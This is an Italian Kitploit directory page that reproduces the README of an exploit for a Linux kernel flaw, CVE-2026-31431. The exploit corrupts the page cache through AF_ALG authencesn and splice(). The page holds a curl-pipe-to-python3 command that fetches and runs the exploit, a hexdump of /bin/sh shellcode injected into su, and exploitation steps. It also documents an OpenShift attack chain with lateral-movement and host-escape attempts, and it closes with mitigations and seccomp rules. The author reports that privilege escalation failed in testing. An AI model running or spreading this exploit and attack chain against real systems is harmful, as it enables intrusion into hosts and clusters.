Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-31431 — Exploit per il kernel Linux CVE-2026-31431 che causa la corruzione della page cache tramite la manipolazione di authencesn AEAD, mirato all'escalation dei privilegi in ambienti container e OpenShift. | Kitploit
Strumenti/GitHubGitHub/seanrickerd/cve-2026-31431
Sicurezza dell'Infrastruttura CloudEscalation di PrivilegiSicurezza dei ContenitoriFramework di ExploitAnalisi delle VulnerabilitàExploitBinary Exploitation
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

Exploit per il kernel Linux CVE-2026-31431 che causa la corruzione della page cache tramite la manipolazione di authencesn AEAD, mirato all'escalation dei privilegi in ambienti container e OpenShift.

Vedi Repository
1253 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-31431 "Copy Fail" - Vulnerabilità di Corruzione della Page Cache

Corruzione della page cache del kernel Linux tramite manipolazione AEAD authencesn.

⚠️ IMPORTANTE: Aggiornamento sullo Stato dello Sfruttamento (1 maggio 2026)

Dopo test approfonditi su più cluster OpenShift 4.20.16 con kernel RHEL 9.6:

  • ✅ Corruzione della Page Cache: CONFERMATA - shellcode da 160 byte iniettato con successo
  • ✅ Vulnerabilità del Kernel: SFRUTTABILE da container non privilegiati (zero capabilities)
  • ❌ Escalation dei Privilegi: NON RAGGIUNTA - l'UID rimane invariato nonostante la cache corrotta
  • ❌ Esecuzione di Codice: NON OSSERVATA - le pagine modificate sono visibili nelle letture ma non vengono eseguite
  • ✅ SCC Restricted-v2: EFFICACE - previene la fuga dal container, limita il raggio d'esplosione

Vedere la sezione Risultati dei Test Completi per i dettagli completi.


Panoramica

CVE-2026-31431 è una vulnerabilità del kernel Linux nell'implementazione crittografica AEAD authencesn che consente a processi non privilegiati di corrompere la page cache di file leggibili tramite socket AF_ALG e manipolazione della syscall splice().

I test mostrano: La corruzione della page cache funziona in modo affidabile, ma l'escalation dei privilegi NON si verifica sui kernel RHEL 9.6 nei nostri ambienti di test.

Punteggio CVSS: 7.8 (Alto)
Interessati: Versioni del kernel Linux con supporto authencesn (2017-2026)
Divulgazione Pubblica: 29 aprile 2026

Caratteristiche

  • Compatibile con Python 3.9+: Include il wrapper della syscall splice() tramite ctypes
  • Portabile: Funziona su qualsiasi sistema Linux con kernel vulnerabile
  • Affidabile: Non richiede condizioni di race
  • Pulito: Shellcode da 160 byte, sfruttamento deterministico

Requisiti

  • Kernel Linux con implementazione authencesn vulnerabile (patch precedente ad aprile 2026)
  • Python 3.9+
  • Accesso utente non privilegiato
  • Binario setuid leggibile (predefinito: /usr/bin/su)

Utilizzo

Utilizzo di Base```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

root@kitploit:~
### Da File Locale```bash
python3 exploit.py
su

Comportamento Effettivo dell'Exploit (Basato sui Test)

Cosa ACCADRÀ:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

root@kitploit:~
**Verifica della Cache di Pagina (conferma la corruzione):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

Cosa NON accadrà (in base ai test):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

root@kitploit:~
**Conclusione:** Il danneggiamento della page cache riesce, ma l'escalation dei privilegi fallisce.

## Dettagli Tecnici

### Vulnerabilità

L'implementazione di `authencesn` (Authenticated Encryption with Associated Data - Extended Sequence Number) del kernel Linux presenta un difetto nella gestione delle operazioni in-place. Quando si elaborano operazioni AEAD inviate tramite un socket AF_ALG, una pagina della page cache può finire nella scatterlist di destinazione scrivibile del kernel.

### Tecnica di Sfruttamento

1. **Creare un socket AF_ALG** con `authencesn(hmac(sha256),cbc(aes))`
2. **Configurare i parametri AEAD** (chiave, authsize)
3. **Aprire il binario setuid di destinazione** (es. `/usr/bin/su`)
4. **Usare splice()** per portare il binario nella page cache
5. **Attivare l'operazione AEAD in-place** che causa la scrittura nella page cache
6. **Scrivere lo shellcode** 4 byte alla volta
7. **Eseguire il binario modificato** per ottenere root

### Shellcode

L'exploit utilizza uno shellcode di 160 byte che modifica `/usr/bin/su` per:
- Saltare l'autenticazione tramite password
- Concedere l'accesso a una shell root
- Mantenere la funzionalità normale per gli utenti non privilegiati

## Compatibilità con Python 3.9

Python 3.9 e versioni precedenti non dispongono di `os.splice()` nella libreria standard. Questo exploit include un'implementazione basata su ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

Questo rende l'exploit funzionante su:

  • ✅ Python 3.9 (RHEL 9, Ubuntu 20.04, ecc.)
  • ✅ Python 3.10+
  • ✅ Qualsiasi Python con supporto ctypes

Risultati dei Test Completi

Ambiente di Test 1: Cluster OpenShift 4.20.16 (Primo Test)

Configurazione del Nodo:

  • Kernel: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (il più restrittivo)
  • UID: 1000830000 (namespace utente)
  • Capabilities: 0x0000000000000000 (ZERO)

Risultati del Test:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

root@kitploit:~
### Ambiente di Test 2: Cluster OpenShift Nuovo (Test di Verifica)

**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configurazione del Nodo:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (identico al Test 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (verificato)
- UID: 1000810000 (namespace utente)
- Capabilities: 0x0000000000000000 (ZERO)

**Risultati del Test:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Coerenza: risultati riproducibili al 100% su cluster indipendenti

Test di fuga dal container

Scenario A: Con volume hostPath (fuga dal container possibile)```yaml volumes:

  • name: host-usr hostPath: path: /usr
root@kitploit:~
Risultato: ✅ **Fuga dal container** - modifica la cache delle pagine dell'host (Device 33, Inode 4288)

**Scenario B: SCC Restricted-v2 (senza hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

Risultato: ❌ Nessuna fuga dal container - interessa solo l'overlay del container (inode separato)

Risultato critico: l'accesso a hostPath (non le capabilities) è il fattore determinante per la fuga dal container.

Perché l'Elevazione dei Privilegi Fallisce

Possibili spiegazioni (richiedono ulteriori ricerche):

  1. Percorsi di codice Lettura vs Esecuzione

    • La corruzione della page cache interessa le operazioni mmap(PROT_READ)
    • I mapping eseguibili mmap(PROT_EXEC) possono bypassare la cache corrotta
    • Il kernel potrebbe usare percorsi di codice diversi per le pagine eseguibili
  2. Protezioni di memoria

    • Applicazione di W^X (Write XOR Execute)
    • Validazione delle pagine eseguibili del kernel
    • Controlli di integrità del codice SELinux/AppArmor
  3. Specifici per versione del kernel

    • RHEL 9.6 (5.14.0-570.96.1) potrebbe avere protezioni aggiuntive
    • La ricerca originale sul CVE potrebbe aver usato versioni del kernel diverse
    • Il comportamento può variare tra le release del kernel

Cosa Funziona Effettivamente

TestOpenShift 4.20 #1OpenShift 4.20 #2Stato
Accesso Socket AF_ALG✅✅Funziona
Corruzione Page Cache✅✅Funziona
Iniezione Shellcode✅✅Funziona
Shellcode Visibile (READ)✅✅Funziona
Cambio UID (Elevazione Privilegi)❌❌Fallisce
Esecuzione Codice❌❌Fallisce
Fuga dal Container (restricted-v2)❌❌Bloccata

Conclusione: La vulnerabilità del kernel è reale (corruzione della page cache dimostrata), ma lo sfruttamento pratico è limitato.

Sistemi Testati

SistemaKernelCorruzione Page CacheElevazione PrivilegiNote
RHEL CoreOS 9.65.14.0-570.96.1.el9_6✅ SÌ❌ NOWorker OpenShift 4.20.16
Container OpenShift 4.205.14.0-570.96.1.el9_6✅ SÌ❌ NOSCC restricted-v2

Nota: Test limitati ai kernel RHEL 9.6. Il comportamento su altre distribuzioni/versioni non è verificato.

Test dei Container OpenShift

Testato con successo su un cluster OpenShift 4.20 che esegue RHEL CoreOS 9.4. Questa sezione documenta il bypass dell'isolamento del namespace e il compromesso del container.

⚠️ Correzione importante: I test iniziali affermavano erroneamente l'accesso al filesystem host tramite /proc/1/root. Questo era errato - /proc/1/root in un container isolato punta al filesystem del container stesso, non all'host del nodo worker OpenShift. Vedi attacks/README.md per un'analisi dettagliata.

Riepilogo della Catena di Attacco```

Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts

root@kitploit:~
### Fase 1: Bypass dell'Isolamento del Namespace

**Vulnerabilità:** Il registry interno di OpenShift consente pull di immagini cross-namespace senza un'adeguata applicazione delle policy RBAC.

**Sfruttamento:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

Risultato:

  • ✅ Immagine openshift/cli estratta dal namespace openshift
  • ✅ Accesso ottenuto a oc, kubectl, curl, openssl, Python 3.9
  • ✅ Isolamento del namespace bypassato

Impatto: Consente movimento laterale tenant-to-tenant e accesso a strumenti privilegiati.

Fase 2: Sfruttamento del Kernel nel Container

Distribuzione:```bash

Execute exploit in attack pod

oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "

root@kitploit:~
**Risultato:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

Capacità dopo lo sfruttamento:

  • ✅ Corruzione della cache di pagina riuscita (160 byte di shellcode visibili)
  • ⚠️ NESSUNA ESCALATION DEI PRIVILEGI - L'UID rimane invariato (UID del namespace utente)
  • ✅ Può corrompere i file del container nella cache di pagina (le operazioni di LETTURA sono influenzate)
  • ✅ Accesso alla rete (server API, registry, internet)
  • ❌ NESSUN accesso root effettivo nonostante le affermazioni
  • ❌ NESSUNA capacità (tutti CapPrm/CapEff = 0x0000000000000000)
  • ❌ Ancora in namespace PID/mount/user isolati
  • ❌ NESSUN accesso al filesystem dell'host del nodo worker
  • ❌ NESSUNA visibilità sui processi dell'host

Fase 3: Analisi dell'Ambiente del Container

Verifica della realtà - /proc/1/root NON è l'host:```bash

These point to the SAME filesystem (container's own root)

stat -c '%i' /tmp/test.txt

136358432

stat -c '%i' /proc/1/root/tmp/test.txt

136358432 ← IDENTICAL inode = same file

Proof they're in same namespace

readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt

Both return: mnt:[4026535423] ← SAME namespace

root@kitploit:~
**Dettagli del sistema operativo del container:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

Fase 4: Ricognizione di Rete dal Container

Script Creati nel Container (disponibili nella directory attacks/):

1. Ricognizione del Container (recon.sh - 1425 byte)

  • Enumera l'ambiente del container
  • Configurazione di rete dalla prospettiva del pod
  • Processi in esecuzione (solo container, non host)
  • Tenta di scoprire servizi Kubernetes/OpenShift
  • Realtà: Vede solo l'ambiente del proprio container

2. Script di Movimento Laterale (lateral.sh - 1754 byte)

  • Scansione di rete dall'IP del pod (range 10.130.x.x)
  • Test di connettività al server API
  • Tentativi di scoperta dei servizi
  • Realtà: Limitato alla prospettiva di rete del pod, nessun accesso all'host

3. Tentativi Falliti di Sfruttamento dell'Host

  • host-rootkit.py - Tenta di backdoorare /proc/1/root/usr/bin/su
    • Risultato: Backdoora solo il su del container, non quello dell'host
  • modprobe-escape.py - Tenta l'escape tramite modulo del kernel
    • Risultato: Bloccato dal filesystem /proc in sola lettura
  • trigger-rootkit.sh - Attiva il su backdoorato
    • Risultato: Ottiene root nel container (come lo sfruttamento di base)

Vedi attacks/README.md per l'analisi completa di cosa ha funzionato e cosa no.

Capacità di Rete dal Pod

Test di Connettività:```bash

Pod IP: 10.130.16.37

Kubernetes API

curl -k https://kubernetes.default.svc:443/healthz

Result: ok ✅

External Internet

curl -s https://www.google.com

Result: Connected ✅

Internal Registry

curl -k https://image-registry.openshift-image-registry.svc:5000/

Result: Accessible ✅

root@kitploit:~
**Opportunità di Movimento Laterale:**
- ✅ Accesso completo a internet (download di strumenti, comunicazione C2, esfiltrazione)
- ✅ Accesso alle API interne (enumerazione delle risorse del cluster)
- ✅ Accesso al registry interno (attacchi di avvelenamento delle immagini)
- ✅ Scansione cross-node tramite la rete dei pod

### Tecniche di Fuga dall'Host Bloccate

Queste tecniche sono state tentate ma bloccate dai controlli di sicurezza di OpenShift:

**1. nsenter (impedito dal namespace utente)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

2. chroot (Richiede CAP_SYS_CHROOT)```bash chroot /proc/1/root /bin/bash

Error: cannot change root directory: Operation not permitted

root@kitploit:~
**3. Caricamento dei moduli del kernel (Nessuna capability + hardening RHCOS)**
- Nessun binario `insmod`, `modprobe`, `kmod` su RHCOS
- `/lib/modules` è vuoto (sistema operativo ottimizzato per container)
- `CAP_SYS_MODULE` non disponibile
- `/proc/sys/kernel/modprobe` montato in sola lettura

**4. cgroup release_agent (Montato in sola lettura)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

5. Manipolazione di /proc/sys (filesystem di sola lettura)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern

Error: Read-only file system

root@kitploit:~
### Cosa Abbiamo Effettivamente Ottenuto

✅ **Bypass dell'Isolamento dei Namespace**
- Pull di immagini cross-namespace dal registry interno
- Accesso a immagini di container privilegiate (openshift/cli)

✅ **Corruzione della Page Cache nel Container**
- Modifica della page cache di `/usr/bin/su` del container tramite CVE-2026-31431
- Iniezione di shellcode da 160 byte confermata (visibile nell'hexdump)
- La corruzione influisce sulle operazioni di LETTURA sui file del container

✅ **Accesso di Rete dal Pod**
- Connettività internet completa (exfiltration, C2, download di tool)
- Accesso al server API interno (limitato da RBAC)
- Accesso al registry interno (potenziale avvelenamento delle immagini)
- Scansione cross-pod tramite la rete dei pod

❌ **Escalation dei Privilegi - FALLITA**
- Page cache corrotta ma NESSUN accesso root ottenuto
- UID invariato (UID del namespace utente ~1000000+)
- Impossibile eseguire operazioni privilegiate
- Nessun accesso a /etc/shadow o altri file ristretti

❌ **Accesso al Filesystem dell'Host - FALLITO**
- `/proc/1/root` punta alla root del **container**, NON all'host
- Nessun accesso effettivo al filesystem del nodo worker OpenShift
- Script distribuiti nella `/tmp` del container, non nella `/tmp` dell'host
- L'isolamento Device/Inode impedisce l'accesso alla page cache dell'host

❌ **Escape Completo dall'Host - BLOCCATO**
- Isolamento del namespace utente efficace
- Zero capabilities impediscono nsenter/chroot/accesso all'host
- SCC blocca la creazione di pod privilegiati
- L'hardening di RHCOS impedisce il caricamento dei moduli
- restricted-v2 impedisce l'escape del container

### Valutazione della Sicurezza di OpenShift

**Controlli che Hanno Funzionato ✅**
- Security Context Constraints (SCC) - Hanno impedito l'escape del container
- Namespace Utente - Page cache isolata nell'overlay del container
- Zero Capabilities - Hanno impedito l'accesso all'host nonostante l'exploit del kernel
- Applicazione di SELinux - Isolamento del container mantenuto
- /proc/sys in sola lettura - Tentativi di manipolazione del kernel bloccati
- Hardening di RHCOS - Nessuna capacità di caricamento dei moduli

**Controlli che Hanno Funzionato Parzialmente ⚠️**
- Seccomp RuntimeDefault - Attivo ma consente socket AF_ALG
- Rimozione delle Capabilities - Efficace ma non previene la corruzione della page cache

**Controlli che Hanno Fallito ❌**
- RBAC dei Namespace - Pull di immagini cross-namespace consentito
- Protezione del Kernel - Interfaccia AF_ALG accessibile dai container
- Filtraggio delle Syscall - splice() non limitata dal seccomp predefinito

**Valutazione Complessiva:**
Sebbene CVE-2026-31431 sia una reale vulnerabilità del kernel, l'approccio di difesa in profondità di OpenShift (SCC + namespace utente + rimozione delle capabilities + isolamento del filesystem) ha impedito uno sfruttamento significativo. L'exploit corrompe la page cache ma NON ottiene alcuna escalation dei privilegi o escape del container dai pod restricted-v2.

### Raccomandazioni per OpenShift

**1. Bloccare i Socket AF_ALG**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

2. Applicare l'RBAC del Registry delle Immagini```bash

Require explicit permissions for cross-namespace image pulls

oc policy add-role-to-user system:image-puller
--namespace=

root@kitploit:~
**3. Profilo Seccomp Potenziato**
Blocca le syscall pericolose:
- `socket(AF_ALG, ...)` - Famiglia 38
- Limita `splice()` ai descrittori di file attendibili
- Blocca `init_module`, `finit_module` se non già bloccati

**4. Monitoraggio in Tempo Reale**
Avvisa su:
- Creazione di socket AF_ALG nei container
- Pull di immagini cross-namespace
- Pattern sospetti di syscall `splice()`
- Indicatori di compromissione del container (processi root inattesi)

### Documentazione Completa dell'Attacco

Per la documentazione completa della catena di attacco, inclusi:
- Cronologia dello sfruttamento
- Mappature MITRE ATT&CK
- Analisi tecnica dettagliata
- Tutti gli script di ricognizione

Vedi:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - Analisi dettagliata di cosa ha funzionato e cosa no
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - Documentazione originale (contiene errori, vedi attacks/README.md per le correzioni)

## Mitigazioni

### Immediata```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

Filtro Seccomp

Blocca la creazione di socket AF_ALG:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }

root@kitploit:~
### Patch del kernel

Applicare le patch del fornitore:
- Red Hat: Monitorare https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu: `apt update && apt upgrade linux-image-*`
- Upstream: Kernel 6.x+ con authencesn ripristinato alle operazioni out-of-place

## Domande frequenti

### D: Questo exploit mi dà accesso root?

**R:** NO - In base a test approfonditi sui kernel RHEL 9.6 (5.14.0-570.96.1), l'exploit corrompe con successo la page cache del kernel ma NON ottiene l'escalation dei privilegi. L'UID rimane invariato dopo l'esecuzione del binario backdoorato.

### D: Posso evadere da un container Kubernetes/OpenShift ristretto?

**R:** NO (con SCC restricted-v2) - La corruzione della page cache è isolata al filesystem overlay del container. L'evasione dal container richiede l'accesso a risorse host condivise tramite volumi hostPath o simili. L'SCC restricted-v2 previene efficacemente l'evasione bloccando l'accesso alle risorse host.

### D: Perché l'exploit dichiara "root" ma i test mostrano che non funziona?

**R:** Il codice dell'exploit è stato scritto sulla base della divulgazione CVE e dell'analisi teorica. I nostri test nel mondo reale sui kernel RHEL 9.6 hanno rivelato:
- La corruzione della page cache funziona ✅ (provata tramite hexdump)
- L'esecuzione di codice dalla cache corrotta NON funziona ❌ (UID invariato)

Ciò potrebbe essere dovuto a:
- Differenze di versione del kernel (RHEL 9.6 potrebbe avere protezioni)
- Applicazione della protezione della memoria W^X
- Percorsi di codice diversi tra memoria di esecuzione e di lettura

### D: Funziona su TUTTI i kernel Linux?

**R:** SCONOSCIUTO - I test sono stati limitati a:
- RHEL CoreOS 9.6 (kernel 5.14.0-570.96.1.el9_6.x86_64)
- Nodi worker OpenShift 4.20.16

Il comportamento su altre distribuzioni/versioni del kernel NON è stato verificato. Le condizioni originali della ricerca CVE potrebbero differire.

### D: Dovrei comunque applicare la patch ai miei sistemi?

**R:** SÌ - Assolutamente. Anche se l'escalation dei privilegi non è stata ottenuta:

1. La vulnerabilità del kernel È reale (corruzione della page cache confermata)
2. Il comportamento POTREBBE differire su altre versioni del kernel
3. Con volumi hostPath, l'evasione dal container È possibile
4. La difesa in profondità richiede l'eliminazione di tutte le vulnerabilità
5. Ricerche future potrebbero scoprire modi per ottenere l'esecuzione di codice

L'applicazione della patch al kernel è obbligatoria per la sicurezza.

### D: Cosa avete effettivamente dimostrato nei vostri test?

**R:** I nostri test completi su 2 cluster OpenShift indipendenti hanno dimostrato:

✅ **Confermato:**
- La vulnerabilità del kernel CVE-2026-31431 è sfruttabile
- La page cache può essere corrotta da container non privilegiati (zero capabilities)
- L'interfaccia AF_ALG è accessibile nonostante l'SCC restricted-v2
- L'iniezione di shellcode riesce (visibile nell'hexdump)

❌ **NON Ha Funzionato:**
- Escalation dei privilegi (UID invariato)
- Esecuzione di codice dalla page cache corrotta
- Evasione dal container da pod restricted-v2
- Accesso al filesystem host senza hostPath

🛡️ **Difesa in profondità efficace:**
- SCC + user namespaces + rimozione delle capabilities hanno prevenuto lo sfruttamento
- Molteplici livelli di sicurezza hanno limitato il raggio d'esplosione
- L'isolamento del container ha retto nonostante la vulnerabilità del kernel

## Avviso di sicurezza

Questo repository documenta una vulnerabilità del kernel per:
- ✅ Test di sicurezza e ricerca autorizzati
- ✅ Validazione e analisi delle vulnerabilità
- ✅ Consapevolezza ed educazione sulla sicurezza
- ✅ Sviluppo di misure difensive

**Risultati basati su:**
- Test controllati su sistemi autorizzati
- Molteplici ambienti cluster indipendenti
- Verifica completa e test di riproducibilità

**NON utilizzare su sistemi senza autorizzazione esplicita.**

## Riferimenti

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **Divulgazione:** https://copy.fail
- **Patch del kernel:** Commit del kernel Linux (1 aprile 2026)
- **Advisory Red Hat:** https://access.redhat.com/security/cve/cve-2026-31431

## Crediti

- **Scoperta CVE:** Taeyang Lee (Theori)
- **Analisi originale:** Xint Code Research Team
- **Implementazione dell'exploit:** Sean Rickerd
- **Test e validazione completi:** Sean Rickerd
  - 2 cluster OpenShift 4.20.16 indipendenti
  - Kernel RHEL CoreOS 9.6 5.14.0-570.96.1
  - Comportamento reale vs. dichiarato documentato
  - Efficacia dell'SCC restricted-v2 verificata

## Licenza

Solo per test di sicurezza e ricerca autorizzati. Utilizzo a proprio rischio.

---

**Stato del repository:** Aggiornato con risultati di test nel mondo reale (1 maggio 2026)  
**Test:** Completati su 2 cluster OpenShift indipendenti  
**Risultato chiave:** Corruzione della page cache confermata, escalation dei privilegi NON ottenuta  
**Raccomandazione:** Applicare la patch al kernel nonostante lo sfruttamento pratico limitato
Scarica lo strumento